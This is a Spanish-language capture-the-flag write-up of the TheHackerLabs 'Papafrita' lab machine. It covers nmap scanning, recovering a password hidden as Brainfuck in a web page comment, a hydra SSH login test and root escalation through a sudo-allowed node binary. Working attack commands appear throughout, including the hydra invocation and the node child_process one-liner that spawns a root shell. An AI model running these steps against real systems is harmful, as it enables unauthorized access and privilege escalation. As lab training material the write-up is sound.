Papafrita - TheHackerLabs

Esta fue una máquina bastante sencilla. Analizando el código fuente de la página web activa de la máquina víctima, encontramos un código oculto que fue hecho en lenguaje Brainfuck. Decodificándolo, descubrimos que parece ser una contraseña. Al no encontrar nada más en la página web, utilizamos la contraseña encontrada para separarla en palabras y usarlas con hydra, con tal de probar si se utilizó un usuario para crear la contraseña, siendo que así encontramos un usuario válido. Utilizando las credenciales encontradas, entramos al servicio SSH. Dentro del SSH, vemos los privilegios que tenemos, siendo que podemos utilizar el binario node como Root, que, investigando en la página GTFOBins, encontramos la forma de escalar privilegios.

Herramientas utilizadas:

  • ping
  • nmap
  • wappalizer
  • hydra
  • grep
  • ssh
  • sudo






Recopilación de Información


Traza ICMP

Vamos a realizar un ping para saber si la máquina está activa y en base al TTL veremos que SO opera en la máquina.

ping -c 4 192.168.1.140
PING 192.168.1.140 (192.168.1.140) 56(84) bytes of data.
64 bytes from 192.168.1.140: icmp_seq=1 ttl=64 time=1.46 ms
64 bytes from 192.168.1.140: icmp_seq=2 ttl=64 time=1.09 ms
64 bytes from 192.168.1.140: icmp_seq=3 ttl=64 time=0.944 ms
64 bytes from 192.168.1.140: icmp_seq=4 ttl=64 time=1.49 ms

--- 192.168.1.140 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3113ms
rtt min/avg/max/mdev = 0.944/1.247/1.493/0.234 ms

Por el TTL sabemos que la máquina usa Linux, hagamos los escaneos de puertos y servicios.

Escaneo de Puertos

nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 192.168.1.140 -oG allPorts
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.95 ( https://nmap.org ) at 2025-03-03 13:14 CST
Initiating ARP Ping Scan at 13:14
Scanning 192.168.1.140 [1 port]
Completed ARP Ping Scan at 13:14, 0.05s elapsed (1 total hosts)
Initiating SYN Stealth Scan at 13:14
Scanning 192.168.1.140 [65535 ports]
Discovered open port 80/tcp on 192.168.1.140
Discovered open port 22/tcp on 192.168.1.140
Completed SYN Stealth Scan at 13:14, 7.88s elapsed (65535 total ports)
Nmap scan report for 192.168.1.140
Host is up, received arp-response (0.0013s latency).
Scanned at 2025-03-03 13:14:17 CST for 8s
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack ttl 64
80/tcp open  http    syn-ack ttl 64
MAC Address: XX (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 8.09 seconds
           Raw packets sent: 68671 (3.022MB) | Rcvd: 65536 (2.621MB)
Parámetros Descripción
-p- Para indicarle un escaneo en ciertos puertos.
–open Para indicar que aplique el escaneo en los puertos abiertos.
-sS Para indicar un TCP Syn Port Scan para que nos agilice el escaneo.
–min-rate Para indicar una cantidad de envió de paquetes de datos no menor a la que indiquemos (en nuestro caso pedimos 5000).
-vvv Para indicar un triple verbose, un verbose nos muestra lo que vaya obteniendo el escaneo.
-n Para indicar que no se aplique resolución dns para agilizar el escaneo.
-Pn Para indicar que se omita el descubrimiento de hosts.
-oG Para indicar que el output se guarde en un fichero grepeable. Lo nombre allPorts.

Parece que solamente hay dos puertos abiertos.


Escaneo de Servicios

nmap -sCV -p 22,80 192.168.1.140 -oN targeted
Starting Nmap 7.95 ( https://nmap.org ) at 2025-03-03 13:14 CST
Nmap scan report for 192.168.1.140
Host is up (0.00093s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0)
| ssh-hostkey: 
|   256 9c:e0:78:67:d7:63:23:da:f5:e3:8a:77:00:60:6e:76 (ECDSA)
|_  256 4b:30:12:97:4b:5c:47:11:3c:aa:0b:68:0e:b2:01:1b (ED25519)
80/tcp open  http    Apache httpd 2.4.57 ((Debian))
|_http-title: Apache2 Debian Default Page: It works
|_http-server-header: Apache/2.4.57 (Debian)
MAC Address: XX (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.11 seconds
Parámetros Descripción
-sC Para indicar un lanzamiento de scripts básicos de reconocimiento.
-sV Para identificar los servicios/versión que están activos en los puertos que se analicen.
-p Para indicar puertos específicos.
-oN Para indicar que el output se guarde en un fichero. Lo llame targeted.

La página web solo está mostrando la página por defecto de Apache2. Vamos a verla, quizá encontremos algo ahí.




Análisis de Vulnerabilidades


Analizando Servicio HTTP

Entremos:

Pues si verdad, solo es la página por defecto de Apache2.

Veamos si Wappalizer nos dice algo:

Nada que nos ayude.

Curiosamente, si revisamos el código fuente podemos encontrar un comentario largo, que parece ser lenguaje Brainfuck:

Podemos decodificarlo en la siguiente página: Brainfuck Translator

Y el resultado lo tenemos aquí:

Parece ser una contraseña.

No parece haber nada más que podamos hacer, aunque podríamos aplicar Fuzzing, pero no encontraremos nada.




Explotación de Vulnerabilidades


Probando Usuarios y Conectandonos al Servicio SSH de la Máquina Víctima

Si bien podríamos usar hydra para ver si existe algún usuario al que le pertenezca la contraseña que encontramos, no encontrara a ninguno o tardara demasiado en dar una respuesta.

Utilice los siguientes wordlists:

  • /usr/share/wordlists/seclists/Usernames/xato-net-10-million-usernames.txt
  • /usr/share/metasploit-framework/data/wordlists/unix_users.txt

Analizando la contraseña, podríamos separarla para ver si el usuario está dentro de la misma contraseña.

Por ejemplo:

cat users.txt
abuela
calienta
****

Salieron 3 palabras.

Usemos esa pequeña lista en hydra y veamos si alguna palabra coincide como usuario:

hydra -L users.txt -p '*****' ssh://192.168.1.140:22
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-03-03 14:52:06
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 3 tasks per 1 server, overall 3 tasks, 3 login tries (l:3/p:1), ~1 try per task
[DATA] attacking ssh://192.168.1.140:22/
[22][ssh] host: 192.168.1.140   login: abuela   password: **********
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-03-03 14:52:09

Excelente, probemos si el usuario abuela funciona al conectarnos al servicio SSH:

ssh abuela@192.168.1.140
abuela@192.168.1.140's password: 
Linux papafrita 6.1.0-18-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.76-1 (2024-02-01) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
abuela@papafrita:~$ whoami
abuela

Estamos dentro.

Si buscamos la palabra abuela dentro de /usr/share/wordlists/seclists/Usernames/xato-net-10-million-usernames.txt, podemos encontrar algunas coincidencias:

cat /usr/share/wordlists/seclists/Usernames/xato-net-10-million-usernames.txt | grep -n "abuela"
1166972:tuabuelaloca
5327075:fumabuela
7317324:abuelastra
7317325:abuelas2
7317326:abuelaileh
7317327:abuelaadf1
7317328:abuela

Hubiera sido muy tardado obtener un resultado exitoso.




Post Explotación


Escalando Privilegios con Binario node

Revisando los privilegios que tenemos con este usuario, encontramos que podemos usar un binario como Root:

abuela@papafrita:~$ sudo -l
Matching Defaults entries for abuela on papafrita:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty

User abuela may run the following commands on papafrita:
    (root) NOPASSWD: /usr/bin/node

Podemos buscar ese binario en GTFOBins:

Y ahí mismo, podemos encontrar una forma de escalar privilegios:

Probémoslo:

abuela@papafrita:~$ sudo node -e 'require("child_process").spawn("/bin/sh", {stdio: [0, 1, 2]})'
# whoami
root
# /bin/bash -i 
root@papafrita:/home/abuela#

Muy bien, somos Root.

Ya solo busquemos las flags:

root@papafrita:/home/abuela# ls
user.txt
root@papafrita:/home/abuela# cat user.txt 
...
root@papafrita:/home/abuela# cd /root
root@papafrita:~# ls
root.txt
root@papafrita:~# cat root.txt
...

Y con esto terminamos la máquina.



  • https://md5decrypt.net/en/Brainfuck-translator/
  • https://gtfobins.github.io/gtfobins/node/


FIN